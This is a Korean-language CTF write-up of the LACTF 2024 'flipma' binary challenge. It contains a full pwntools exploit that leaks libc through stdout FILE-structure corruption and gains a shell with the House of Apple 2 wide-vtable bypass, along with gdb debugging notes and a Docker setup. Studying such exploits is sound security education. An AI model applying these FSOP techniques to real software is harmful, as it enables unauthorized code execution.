checksec
seo@seo:~/study/LACTF2024/flipma$ checksec ./flipma
[*] '/home/seo/study/LACTF2024/flipma/flipma'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
Docker configure
sudo docker build . -t flipma sudo docker run -it --rm --privileged --security-opt seccomp=unconfined -p 1337:1337 flipma sh
- Host
seo@seo:~/study/LACTF2024/flipma$ nc -lp 1338 > libc.so.6 seo@seo:~/study/LACTF2024/flipma$ nc -lp 1338 > ld-linux-x86-64.so.2
- Guest
/lib # cat libc.so.6 | nc 172.17.0.1 1338 /lib # cat ld-linux-x86-64.so.2 | nc 172.17.0.1 1338
ubuntu 20.04 환경 필요도커에서 환경 구축하는걸로…우분투 20.04 LTS 환경으로 변경
seo@seo:~/study/LACTF2024/flipma$ strings -tx ./flipma ... 3014 GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0 ...
Dropbear/gdbserver in Docker
sudo docker build . -t flipma sudo docker run -it --rm --privileged --security-opt seccomp=unconfined -p 1337:1337 -p 22222:22222 -p 12345:1234 flipma sh
- Guest
cd /bin nc -lvp 1337 > gdbserver nc -lvp 1337 > gdb nc -lvp 1337 > dropbearmulti ln -sf dropbearmulti dropbear ln -sf dropbearmulti dbclient ln -sf dropbearmulti dropbearkey ln -sf dropbearmulti dropbearconvert ln -sf dropbearmulti ssh mkdir -p /etc/dropbear dropbearkey -t rsa -f /etc/dropbear/dropbear_rsa_host_key dropbearkey -t dss -f /etc/dropbear/dropbear_dss_host_key dropbearkey -t ecdsa -f /etc/dropbear/dropbear_ecdsa_host_key chmod 600 /etc/dropbear/* passwd root #0000 dropbear -p 22222
- Host
static 빌드 gdb, gdbserver, dropbearmulti 다운로드 링크
https://github.com/guyush1/gdb-static/releases/tag/v16.2-static
https://bitfab.org/dropbear-static-builds
cat gdbserver | nc 127.0.0.1 1337 cat gdb | nc 127.0.0.1 1337 cat dropbearmulti | nc 127.0.0.1 1337
Running prob in Docker
while true; do nc -lvp 1337 -e /srv/app/run done
Decompile src
main
flips의 값에 따라 계속 flip을 호출할 수 있음.
int __fastcall main(int argc, const char **argv, const char **envp)
{
setbuf(stdin, 0);
setbuf(stdout, 0);
while ( flips > 0 )
flip();
puts("no more flips");
return 0;
}
flip
flip 함수를 호출할때마다 마지막에 flips수를 감소함. 전역변수인 flips 초기값은 4이므로, 총 4번 호출가능.
각각 a, b 값을 v1, v2에 담음. stdin->_flags의 포인터에 v1 값을 더한 뒤, 그 더한 결과의 포인터 값과 v2 값을 1과 왼쪽 시프트한 값을 xor 연산.
int flip()
{
__int64 v1; // [rsp+10h] [rbp-10h]
unsigned __int64 v2; // [rsp+18h] [rbp-8h]
write(1, "a: ", 3u);
v1 = readint();
write(1, "b: ", 3u);
v2 = readint();
if ( v2 >= 8 )
return puts("we're flipping bits, not burgers");
*((_BYTE *)&stdin->_flags + v1) ^= 1 << v2;
return --flips;
}
__int64 readint()
{
char buf[24]; // [rsp+0h] [rbp-20h] BYREF
unsigned __int64 v2; // [rsp+18h] [rbp-8h]
v2 = __readfsqword(0x28u);
read(0, buf, 16u);
return atol(buf);
}
Analysis
환경: leak이 되지 않아 Ubuntu 20.04 LTS로 변경.
FILE 포인터 구조체.
$ cat /usr/include/x86_64-linux-gnu/bits/types/struct_FILE.h
struct _IO_FILE
{
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
/* The following pointers correspond to the C++ streambuf protocol. */
char *_IO_read_ptr; /* Current read pointer */
char *_IO_read_end; /* End of get area. */
char *_IO_read_base; /* Start of putback+get area. */
char *_IO_write_base; /* Start of put area. */
char *_IO_write_ptr; /* Current put pointer. */
char *_IO_write_end; /* End of put area. */
char *_IO_buf_base; /* Start of reserve area. */
char *_IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */
void *_markers;
void *_chain;
int _fileno;
int _flags2;
uint64_t _old_offset; /* This used to be _offset but it's too small. */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
void *_lock;
uint64_t _offset;
/* Wide character stream stuff. */
void *_codecvt;
void *_wide_data;
void *_freeres_list;
void *_freeres_buf;
size_t __pad5;
int _mode;
/* Make sure we don't get into trouble again. */
char _unused2[20];
};
gef➤ p *(FILE *)0x00007ffff7fb1980
$3 = {
_flags = 0xfbad208b,
_IO_read_ptr = 0x7ffff7fb1a03 <_IO_2_1_stdin_+131> "",
_IO_read_end = 0x7ffff7fb1a03 <_IO_2_1_stdin_+131> "",
_IO_read_base = 0x7ffff7fb1a03 <_IO_2_1_stdin_+131> "",
_IO_write_base = 0x7ffff7fb1a03 <_IO_2_1_stdin_+131> "",
_IO_write_ptr = 0x7ffff7fb1a03 <_IO_2_1_stdin_+131> "",
_IO_write_end = 0x7ffff7fb1a03 <_IO_2_1_stdin_+131> "",
_IO_buf_base = 0x7ffff7fb1a03 <_IO_2_1_stdin_+131> "",
_IO_buf_end = 0x7ffff7fb1a04 <_IO_2_1_stdin_+132> "",
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x0,
_fileno = 0x0,
_flags2 = 0x0,
_old_offset = 0xffffffffffffffff,
_cur_column = 0x0,
_vtable_offset = 0x0,
_shortbuf = "",
_lock = 0x7ffff7fb37f0 <_IO_stdfile_0_lock>,
_offset = 0xffffffffffffffff,
_codecvt = 0x0,
_wide_data = 0x7ffff7fb1a60 <_IO_wide_data_0>,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0x0,
_mode = 0x0,
_unused2 = '\000' <repeats 19 times>
}
수정1.
_IO_2_1_stdout + 0x1 지점을 수정
sla("a: ", str(0xD21))
sla("b: ", str(3))


>>> hex(0x20 ^ (1 << 3)) '0x28'
_IO_2_1_stdout_→_flags
0x00000000fbad2087 → 0x00000000fbad2887
gef➤ x/gx 0x00007ffff7fb1980+0xd20 0x7ffff7fb26a0 <_IO_2_1_stdout_>: 0x00000000fbad2887
수정2.
sla("a: ", str(0xD21))
sla("b: ", str(4))
>>> hex(0x28 ^ (1 << 4)) '0x38'
_IO_2_1_stdout_→_flags
0x00000000fbad2887 → 0x00000000fbad3887
gef➤ x/gx 0x00007ffff7fb1980+0xd20 0x7ffff7fb26a0 <_IO_2_1_stdout_>: 0x00000000fbad3887
수정3.
sla("a: ", str(0xD41))
sla("b: ", str(5))
>>> hex(0x27 ^ (1 << 5)) '0x7'
_IO_2_1_stdout_→_IO_write_base
Before: _IO_write_base = 0x7ffff7fb2723 <IO_2_1_stdout+131> “”,
After: _IO_write_base = 0x7ffff7fb0723 <xdrstdio_ops+35> “\367\377\177”,
수정4. (사실상 수정X)
sla("a: ", str(0xD41))
sla("b: ", str(-1))
puts("we're flipping bits, not burgers") + (LEAK)
Before:
_IO_write_base = 0x7ffff7fb0723 <xdrstdio_ops+35> “\367\377\177”,
After puts:
_IO_write_base = 0x7ffff7fb2723 <IO_2_1_stdout+131> “\n”,
_flags = 0xfbad3887 ( 0xfbad2887 | _IO_IS_APPENDING)
_IO_write_base = 0x7ffff7fb0723 해당 주소부터 LEAK됨.
new_do_write
libc 2.31-0ubuntu9.17 소스코드 링크:
https://launchpad.net/ubuntu/%2Bsource/glibc/2.31-0ubuntu9.17?utm_source=chatgpt.com
_IO_IS_APPENDING (0x1000) 플래그가 SET되면,
static size_t
new_do_write (FILE *fp, const char *data, size_t to_do)
{
size_t count;
if (fp->_flags & _IO_IS_APPENDING)
/* On a system without a proper O_APPEND implementation,
you would need to sys_seek(0, SEEK_END) here, but is
not needed nor desirable for Unix- or Posix-like systems.
Instead, just indicate that offset (before and after) is
unpredictable. */
fp->_offset = _IO_pos_BAD;
else if (fp->_IO_read_end != fp->_IO_write_base)
{
off64_t new_pos
= _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);
if (new_pos == _IO_pos_BAD)
return 0;
fp->_offset = new_pos;
}
count = _IO_SYSWRITE (fp, data, to_do);
if (fp->_cur_column && count)
fp->_cur_column = _IO_adjust_column (fp->_cur_column - 1, data, count) + 1;
_IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base);
fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_buf_base;
fp->_IO_write_end = (fp->_mode <= 0
&& (fp->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
? fp->_IO_buf_base : fp->_IO_buf_end);
return count;
}
_IO_2_1_stdout_->_IO_write_base 내용이 LEAK됨
count = _IO_SYSWRITE (fp, \ _IO_2_1_stdout_->_IO_write_base, \ _IO_2_1_stdout_->_IO_write_ptr - _IO_2_1_stdout_->_IO_write_base);
Defeat ASLR
LEAK 시작점은 _IO_write_base = 0x7ffff7fb0723.
ASLR 빼면, 00000000001EB723.
여기서 +0x825시, stdout got 주소를 가리킴.
.got:00000000001EBF48 stdout_ptr dq offset stdout ; DATA XREF: vprintf+4↑r .got:00000000001EBF48 ; printf+91↑r ...
해당 주소는 다시 flipma 바이너리의 stdout을 가리킴.
0x4020을 빼면 flipma base 주소 구하기 가능.
gef➤ p/x 0x007ffff7dc5000 + 0x0000000001EBF48 $3 = 0x7ffff7fb0f48 gef➤ x/gx 0x7ffff7fb0f48 0x7ffff7fb0f48: 0x0000555555558020 gef➤ p/x 0x0000555555558020-0x00555555554000 $4 = 0x4020
.bss:0000000000004020 public stdout@@GLIBC_2_2_5 .bss:0000000000004020 ; FILE *stdout .bss:0000000000004020 stdout@@GLIBC_2_2_5 dq ? ; DATA XREF: main+1C↑r .bss:0000000000004020 ; LOAD:00000000000051D8↓o .bss:0000000000004020 ; Alternative name is 'stdout' .bss:0000000000004020 ; Copy of shared data
libc base LEAK은 leak 시작 +5지점에서 0x157f10 빼면 됨.
.data.rel.ro:00000000001EB720 dq offset sub_157F30 .data.rel.ro:00000000001EB728 dq offset sub_157F10
sla("a: ", str(0xD21))
sla("b: ", str(3))
sla("a: ", str(0xD21))
sla("b: ", str(4))
sla("a: ", str(0xD41))
sla("b: ", str(5))
sla("a: ", str(0xD41))
sla("b: ", str(-1))
leak = p.recvuntil(b"we're")
libc_base = u64(leak[5:5+8]) - 0x157f10
bin_base = u64(leak[0x825:0x825+8]) - 0x4020
success(f"libc_base: {hex(libc_base)}")
success(f"bin_base: {hex(bin_base)}")
seo@ubuntu:~/study/LACTF2024/flipma$ python3 solve.py [+] Starting local process './flipma': pid 6991 [+] libc_base: 0x7ffff7dc5000 [+] bin_base: 0x555555554000 [*] Switching to interactive mode flipping bits, not burgers a: $
Increase flips count
Before flips: 0x1
After flips: 0x81 (=129)
flips = bin_base + e.symbols["flips"]
libc_stdin = libc_base + l.symbols["_IO_2_1_stdin_"]
success(f"flips: {hex(flips)}")
success(f"stdin: {hex(libc_stdin)}")
sla("a: ", str(flips - libc_stdin))
sla("b: ", str(7))
>>> (0x1 ^ (1 << 7)) 129
House of Apple by roderick01
1. 가짜 _wide_vtable 생성
- 위치:
chunk_addr + 0x100 __doallocate의 오프셋은0x68이므로,chunk_addr + 0x100 + 0x68에system주소를 저장
# (struct _IO_FILE_plus *)->_wide_data = new_vtable aaw(libc_stdout + 0xA0, new_vtable, libc_base + 0x1EC880) # (struct _IO_jump_t *)->__doallocate = system aaw(new_vtable + 0x168, libc_base+l.symbols["system"], 0)
2. 가짜 _wide_data 생성
- 위치:
chunk_addr chunk_addr->_wide_vtable→chunk_addr + 0x100(가짜 vtable의 주소)
# (struct _IO_wide_data*)->_wide_vtable = new_vtable + 0x100 aaw(new_vtable + 0xE0, new_vtable + 0x100, 0)
3. 기타 stderr 필드 설정
stderr->vtable→_IO_wfile_jumps로 설정- 이로 인해 원래
_IO_new_file_overflow대신_IO_wfile_overflow호출됨
- 이로 인해 원래
# (struct _IO_FILE_plus *)->vtable = _IO_wfile_jumps aaw(libc_stdout + 0xD8, libc_wfile_jumps, libc_file_jumps)
4. stderr->_flags 값을 적절히 설정
- 중요 사항:
- 마지막에
wide_vtable->__doallocate(stderr)→system(stderr)이 호출됨 - 즉,
system의 인자로는stderr->_flags가 문자열 시작 주소로 사용됨
- 마지막에
- 조건도 만족하면서 원하는 명령을 실행시키기 위한 트릭:
- roderick01 방식:
_flags에" sh"(앞에 공백 2개 포함된 문자열) 설정- 조건 만족 +
system(" sh")호출됨
- roderick01 방식:
aaw(libc_stdout, uu64(b" sh;"), 0x00000000fbad3887)
solve.py
from pwn import *
warnings.filterwarnings('ignore')
# p = process('./flipma', level="debug")
p = process('./flipma')
e = ELF('./flipma',checksec=False)
l = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
s = lambda str: p.send(str)
sl = lambda str: p.sendline(str)
sa = lambda delims, str: p.sendafter(delims, str)
sla = lambda delims, str: p.sendlineafter(delims, str)
r = lambda numb=4096: p.recv(numb)
rl = lambda: p.recvline()
ru = lambda delims, drop=True: p.recvuntil(delims, drop)
uu32 = lambda data: u32(data.ljust(4, b"\x00"))
uu64 = lambda data: u64(data.ljust(8, b"\x00"))
li = lambda str, data: log.success(str + "========>" + hex(data))
# _IO_2_1_stdout_->flags
#0x00000000fbad2087 → 0x00000000fbad2887
sla("a: ", str(0xD21))
sla("b: ", str(3))
# _IO_2_1_stdout_->flags
#0x00000000fbad2887 → 0x00000000fbad3887
sla("a: ", str(0xD21))
sla("b: ", str(4))
# _IO_2_1_stdout_→_IO_write_base
#0x7ffff7fb2723 → 0x7ffff7fb0723
sla("a: ", str(0xD41))
sla("b: ", str(5))
# no change
sla("a: ", str(0xD41))
sla("b: ", str(-1))
leak = p.recvuntil(b"we")
libc_base = u64(leak[5:5+8]) - 0x157f10
bin_base = u64(leak[0x825:0x825+8]) - 0x4020
success(f"libc_base: {hex(libc_base)}")
success(f"bin_base: {hex(bin_base)}")
flips = bin_base + e.symbols["flips"]
libc_stdin = libc_base + l.symbols["_IO_2_1_stdin_"]
success(f"flips: {hex(flips)}")
success(f"stdin: {hex(libc_stdin)}")
sla("a: ", str(flips - libc_stdin))
sla("b: ", str(7))
libc_stdout = libc_base + l.symbols["_IO_2_1_stdout_"]
libc_file_jumps = libc_base + l.symbols["_IO_file_jumps"]
libc_wfile_jumps = libc_base + l.symbols["_IO_wfile_jumps"]
success(f"libc_stdout: {hex(libc_stdout)}")
success(f"libc_file_jumps: {hex(libc_file_jumps)}")
success(f"libc_wfile_jumps: {hex(libc_wfile_jumps)}")
def convert_old(_to, _from):
for i in range(255):
if _to == (_from ^ (1 << i)):
return i
def convert(_to, _from):
"""
_from 에서 _to 로 가기 위해 뒤집어야 할 비트의 인덱스를
한 번에 하나씩 순서대로 반환합니다.
"""
seq = []
diff = _from ^ _to
# diff 가 0 이 될 때까지 반복
while diff:
# 최하위 1비트만 추출
lowest = diff & -diff
# 그 비트 위치 계산
i = lowest.bit_length() - 1
seq.append(i)
# _from 에서 해당 비트를 뒤집어 주고
_from ^= (1 << i)
# 다음 diff 갱신
diff = _from ^ _to
return seq
def aaw(addr, val, orig):
val_bytes = val.to_bytes(8, byteorder='little')
orig_bytes = orig.to_bytes(8, byteorder='little')
for i in range(8):
# print(f"val_bytes[i]: {hex(val_bytes[i])}")
# print(f"orig_bytes[i]: {hex(orig_bytes[i])}")
# print(f"convert(val_bytes[i], orig_bytes[i]): {convert(val_bytes[i], orig_bytes[i])}")
b_list = convert(val_bytes[i], orig_bytes[i])
for j in range(len(b_list)):
sla("a: ", str(addr+i - libc_stdin))
sla("b: ", str(b_list[j]))
new_vtable = libc_base + 0x1ED800
info(f"new_vtable: {hex(new_vtable)}")
# pause()
# aaw(libc_stdout + 0xA0, 0x4142434445464748, libc_base + 0x1EC880)
# def aaw(addr, new, orig):
# (struct _IO_FILE_plus *)->_wide_data = new_vtable
aaw(libc_stdout + 0xA0, new_vtable, libc_base + 0x1EC880)
# (struct _IO_wide_data*)->_wide_vtable = new_vtable + 0x100
aaw(new_vtable + 0xE0, new_vtable + 0x100, 0)
# (struct _IO_jump_t *)->__doallocate = system
aaw(new_vtable + 0x168, libc_base+l.symbols["system"], 0)
# (struct _IO_FILE_plus *)->vtable = _IO_wfile_jumps
aaw(libc_stdout + 0xD8, libc_wfile_jumps, libc_file_jumps)
aaw(libc_stdout, uu64(b" sh;"), 0x00000000fbad3887)
sla("a: ", str(0xD41))
sla("b: ", str(-1))
p.interactive()
Result
seo@ubuntu:~/study/LACTF2024/flipma$ python3 solve.py [+] Starting local process './flipma': pid 16999 [+] libc_base: 0x7ffff7dc5000 [+] bin_base: 0x555555554000 [+] flips: 0x555555558010 [+] stdin: 0x7ffff7fb1980 [+] libc_stdout: 0x7ffff7fb26a0 [+] libc_file_jumps: 0x7ffff7fae4a0 [+] libc_wfile_jumps: 0x7ffff7fadf60 [*] new_vtable: 0x7ffff7fb2800 [*] Switching to interactive mode $ id uid=1000(seo) gid=1000(seo) groups=1000(seo),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),133(lxd),134(sambashare) $ whoami seo $ ls flipma libc.so.6.id0 libc.so.6.id2 libc.so.6.til solve2.py test.py libc.so.6 libc.so.6.id1 libc.so.6.nam prob solve.py $
About House of Apple
Reference
https://chovid99.github.io/posts/stack-the-flags-ctf-2022/
Gaining Remote Code Execution (RCE)
지금까지 우리는 다음과 같은 상황에 도달했습니다:
- libc 영역에 대한 OOB(Out-Of-Bounds) 쓰기 취약점을 보유하고 있음
- 정보 유출을 통해 libc의 base 주소를 획득함
이제 우리는 이 OOB 버그와 유출된 libc base 주소 정보를 활용해서 RCE(Remote Code Execution)를 달성해야 합니다.
최근에 논의했던 glibc 2.35에서 FILE 구조체 공격을 통해 RIP 제어를 얻는 방법에 대한 지식을 적용해볼 수 있겠다는 생각이 듭니다.
배경 설명을 위해, glibc의 구버전에서는 file->vtable 주소를 우리가 만든 가짜 vtable로 덮어쓸 수 있었고,
이렇게 되면 예를 들어 _IO_OVERFLOW 메서드가 호출될 때, 실제 함수 주소가 아닌 우리가 설정한 주소로 점프하게 만들 수 있었습니다.
하지만, 이는 glibc 측에서 방어가 추가되어 더 이상 쉽게 사용할 수 없습니다.
glibc는 FILE 구조체에 저장된 vtable이 올바른 영역에 존재하는지 여부를 검사하기 때문입니다.
아래 LOC(코드 라인)를 참고하십시오:
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
/* Fast path: The vtable pointer is within the __libc_IO_vtables
section. */
uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
uintptr_t ptr = (uintptr_t) vtable;
uintptr_t offset = ptr - (uintptr_t) __start___libc_IO_vtables;
if (__glibc_unlikely (offset >= section_length))
/* The vtable pointer is not in the expected section. Use the
slow path, which will terminate the process if necessary. */
_IO_vtable_check ();
return vtable;
}
#define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH)
#define JUMP1(FUNC, THIS, X1) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)
# define _IO_JUMPS_FUNC(THIS) (IO_validate_vtable (_IO_JUMPS_FILE_plus (THIS)))
#define _IO_JUMPS_FILE_plus(THIS) \
_IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE_plus, vtable)
예를 들어 어떤 메서드가 _IO_OVERFLOW를 호출하려고 할 때, 해당 메서드는 vtable 내에서 __overflow 키에 매핑된 포인터로 점프를 시도하게 됩니다.
그러나 점프를 수행하기 전에 IO_validate_vtable을 호출하여 해당 포인터가 유효한 영역에 위치해 있는지 먼저 검증합니다.
이로 인해, 과거처럼 우리가 가짜 vtable을 설정해 임의의 메서드로 점프하게 만드는 트릭은 더 이상 작동하지 않습니다.
왜냐하면 glibc는 이제 vtable이 올바른 메모리 영역에 있는지를 검사하기 때문입니다.
하지만 이 검사는 오직 “저장된 포인터가 vtable 영역에 존재하는가?”만 검증할 뿐이기 때문에, 우리는 여전히 vtable을 “미스얼라인(misalignment)” 시키는 방식으로 우회할 수 있습니다.
예를 들어 vtable을 한 엔트리만큼 밀어버리면, _IO_OVERFLOW를 호출할 때 원래의 위치가 아닌 _IO_UNDERFLOW 등 다른 함수로 잘못 점프하게 만들 수 있습니다.
이러한 우회 방법을 악용하려는 시도들이 있었고, 최근에는 kylebot이라는 사람이 작성한 글에서 다음과 같은 사실이 발견되었습니다:
glibc는 _IO_JUMPS_FUNC 매크로를 통해 점프할 때만 vtable에 대한 유효성 검사를 수행하고, wide vtable에 대해 점프할 때 사용하는 _IO_WIDE_JUMPS_FUNC 매크로에서는 검사를 수행하지 않는다는 것입니다.
그리고 몇 달 전, 이와 동일한 취약점을 악용하려 한 또 다른 기사가 발표되었습니다.
바로 House of Apple 2라는 공격 기법으로, 이는 roderick01이라는 작성자가 해당 글에서 소개한 방식입니다.
지금부터는 이 두 블로그를 읽으며 이해한 바를 바탕으로 좀 더 자세히 설명해보겠습니다.
먼저 기억해야 할 점은, 최신 glibc에 도입된 해당 보안 기법은 FILE 구조체에 저장된 vtable이 올바른 영역에 존재하는지 여부만 확인한다는 것입니다.
표준 파일 객체가 사용하는 기본 vtable은 _IO_file_jumps입니다. 하지만 실제로는 이 영역에 다른 vtable도 다수 존재하고,
그중 하나가 바로 _IO_wfile_jumps입니다.
아래는 GDB를 통해 출력한 _IO_wfile_jumps의 기본 엔트리 내용입니다:
gef➤ print __GI__IO_wfile_jumps
$11 = {
__dummy = 0x0,
__dummy2 = 0x0,
__finish = 0x7ffff7e20070 <_IO_new_file_finish>,
__overflow = 0x7ffff7e1a410 <__GI__IO_wfile_overflow>,
__underflow = 0x7ffff7e19050 <__GI__IO_wfile_underflow>,
__uflow = 0x7ffff7e178c0 <__GI__IO_wdefault_uflow>,
__pbackfail = 0x7ffff7e17680 <__GI__IO_wdefault_pbackfail>,
__xsputn = 0x7ffff7e1a8c0 <__GI__IO_wfile_xsputn>,
__xsgetn = 0x7ffff7e1f330 <__GI__IO_file_xsgetn>,
__seekoff = 0x7ffff7e197d0 <__GI__IO_wfile_seekoff>,
__seekpos = 0x7ffff7e22530 <_IO_default_seekpos>,
__setbuf = 0x7ffff7e1e620 <_IO_new_file_setbuf>,
__sync = 0x7ffff7e1a720 <__GI__IO_wfile_sync>,
__doallocate = 0x7ffff7e13f10 <_IO_wfile_doallocate>,
__read = 0x7ffff7e1f9b0 <__GI__IO_file_read>,
__write = 0x7ffff7e1ef40 <_IO_new_file_write>,
__seek = 0x7ffff7e1e6f0 <__GI__IO_file_seek>,
__close = 0x7ffff7e1e610 <__GI__IO_file_close>,
__stat = 0x7ffff7e1ef30 <__GI__IO_file_stat>,
__showmanyc = 0x7ffff7e234a0 <_IO_default_showmanyc>,
__imbue = 0x7ffff7e234b0 <_IO_default_imbue>
}
이제 _IO_wfile_overflow 함수의 구현을 한번 살펴보겠습니다.
이 함수는 kylebot과 roderick01 두 사람이 모두 발견한 취약 경로 중 하나입니다.
wint_t
_IO_wfile_overflow (FILE *f, wint_t wch)
{
if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
{
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return WEOF;
}
/* If currently reading or no buffer allocated. */
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0)
{
/* Allocate a buffer if needed. */
if (f->_wide_data->_IO_write_base == 0)
{
_IO_wdoallocbuf (f);
...
}
...
}
void
_IO_wdoallocbuf (FILE *fp)
{
if (fp->_wide_data->_IO_buf_base)
return;
if (!(fp->_flags & _IO_UNBUFFERED))
if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF)
...
}
#define _IO_WDOALLOCATE(FP) WJUMP0 (__doallocate, FP)
#define WJUMP0(FUNC, THIS) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS)
#define _IO_WIDE_JUMPS_FUNC(THIS) _IO_WIDE_JUMPS(THIS)
#define _IO_WIDE_JUMPS(THIS) \
_IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE, _wide_data)->_wide_vtable
위에서 볼 수 있듯이, 우리가 WJUMP0를 트리거할 수 있다면 wide_vtable에 저장된 포인터가 올바른 영역에 있는지에 대한 검증이 전혀 이루어지지 않습니다.
즉, 우리가 가짜 wide_vtable을 조작하고 매크로 호출(WJUMP0)을 유도할 수 있다면, 과거 glibc처럼 우리가 원하는 임의의 주소로 점프할 수 있게 됩니다.
또한 주목할 점은, _IO_WIDE_JUMPS 호출 시 사용되는 vtable은 fp->_wide_data->_wide_vtable에서 가져온다는 것입니다.
gdb에서 stdfile 구조체를 확인해보면, 그 안에 _wide_data라는 필드가 있고, 이는 _IO_wide_data_1이라는 또 다른 구조체를 가리킵니다.
아래는 gdb를 통해 출력한 _IO_wide_data_1 구조체 내 필드입니다:
gef➤ print _IO_wide_data_1
$10 = {
_IO_read_ptr = 0x0,
_IO_read_end = 0x0,
_IO_read_base = 0x0,
_IO_write_base = 0x0,
_IO_write_ptr = 0x0,
_IO_write_end = 0x0,
...
_shortbuf = L"",
_wide_vtable = 0x7ffff7faa0c0 <__GI__IO_wfile_jumps> <- This is the one that we can overwrite with our fake vtable
}
이 정보를 바탕으로 보면, 만약 우리가 FILE 구조체의 vtable을 _IO_file_jumps에서 _IO_wfile_jumps로 미스얼라인시키고, __overflow 호출을 트리거할 수 있다면, 다음과 같은 호출 체인이 발생할 수 있습니다.
아래는 그 호출 체인입니다:
Assuming that we overwrite the FILE->vtable from _IO_file_jumps to _IO_wfile_jumps. When the binary try to call
_IO_OVERFLOW (fp, EOF), the chain would be:
_IO_OVERFLOW (fp, EOF)
|_ JUMP1 (__overflow, fp, EOF)
|_ (_IO_JUMPS_FUNC(fp)->__overflow) (fp, EOF)
|_ ((IO_validate_vtable (_IO_JUMPS_FILE_plus (fp)))->__overflow) (fp, EOF) <- Because we overwrite it to point to _IO_wfile_jumps, it will call _IO_wfile_overflow instead of _IO_new_file_overflow. This is still valid because its location is still in the correct region
|_ _IO_wfile_overflow(fp, EOF)
|_ _IO_wdoallocbuf(fp)
|_ _IO_WDOALLOCATE(fp)
|_ WJUMP0 (__doallocate, fp)
|_ (_IO_WIDE_JUMPS_FUNC(fp)->__doallocate) (fp)
|_ (_IO_WIDE_JUMPS(fp)->__doallocate) (fp) <- No Validation #profit :D
이 호출을 달성하기 위해서는 다음과 같은 제약 조건들을 만족해야 합니다:
🔹 _IO_wfile_overflow 함수 내부에서 _IO_wdoallocbuf를 호출하도록 하려면 다음 조건들을 통과해야 합니다:
if (f->_flags & _IO_NO_WRITES)→ **False*를 반환해야 함if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0)→ **True*를 반환해야 함if (f->_wide_data->_IO_write_base == 0)→ **True*를 반환해야 함
🔹 _IO_wdoallocbuf 함수 내부에서 _IO_WDOALLOCATE 호출로 진입하려면 다음 조건들을 만족해야 함:
if (fp->_wide_data->_IO_buf_base)→ **False*를 반환해야 함if (!(fp->_flags & _IO_UNBUFFERED))→ **True*를 반환해야 함
※ IO_UNBUFFERED의 값은 0x0002이므로, 결국 fp->_flags & _IO_UNBUFFERED == 0 이어야 조건을 만족함
이 모든 조건을 충족하게 되면,
**fp->_wide_data->wide_vtable->__doallocate**에 저장된 포인터로 점프하게 되며,
이때 rdi는 FILE 구조체 자체(fp)를 가리키는 포인터가 됩니다.
따라서, glibc 2.35에서도 다음과 같은 방식으로 FILE 구조체 공격 경로를 구성할 수 있습니다:
예를 들어, 우리가 가짜 wide_vtable을 만들어서 __doallocate 항목이 system을 가리키도록 설정한다면,
_IO_WDOALLOCATE(fp)가 호출될 때 **system(fp)**를 실행하게 됩니다.
그리고 우리가 fp의 내용을 조작해서 "sh"를 실행하도록 구성해두면,
셸을 획득하게 되는 것입니다! 😄
하지만 먼저 해결해야 할 문제가 하나 있습니다:
어떻게 _IO_OVERFLOW를 트리거할 수 있을까요?
이 부분은 바이너리의 세 번째 메뉴 항목인 exit 기능을 악용함으로써 가능합니다.
이와 관련된 자세한 호출 체인 내용은 제가 이전에 작성한 FILE 구조체 공격에 관한 글에서 확인할 수 있습니다.
간단히 요약하자면, exit을 호출하면 바이너리는 다음과 같은 함수 호출 체인을 따라가게 됩니다:
exit
|_ _IO_cleanup
|_ _IO_flush_all_lockp
Iterate list of available files (stderr->stdout->stdin), and on each iteration it will call:
|_ _IO_OVERFLOW (fp, EOF)
다음은 _IO_OVERFLOW를 호출하기 위한 조건입니다 (_IO_flush_all_lockp 코드에서 발췌):
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base))- 즉, 우리는
_mode를0으로 설정하고,_IO_write_ptr > _IO_write_base조건을 만족시켜야 합니다.
- 즉, 우리는
exit() 호출 시 모든 열린 파일들을 순회하게 되므로,
OOB(out-of-bound) write 버그를 이용해 stderr 파일 구조체를 덮어쓰기로 선택했습니다.
RCE를 얻기 위해 stderr 구조체에 적용해야 할 설정 요약:
1. 가짜 _wide_vtable 생성
- 위치:
chunk_addr + 0x100※chunk_addr는libc_base - 0xf7ff0위치에 있음 __doallocate의 오프셋은0x68이므로,chunk_addr + 0x100 + 0x68에system주소를 저장
2. 가짜 _wide_data 생성
- 위치:
chunk_addr chunk_addr->_IO_write_base→0으로 설정chunk_addr->_IO_buf_base→0으로 설정chunk_addr->_wide_vtable→chunk_addr + 0x100(가짜 vtable의 주소)
3. stderr->_flags 값을 적절히 설정
- 중요 사항:
- 마지막에
wide_vtable->__doallocate(stderr)→system(stderr)이 호출됨 - 즉,
system의 인자로는stderr->_flags가 문자열 시작 주소로 사용됨
- 마지막에
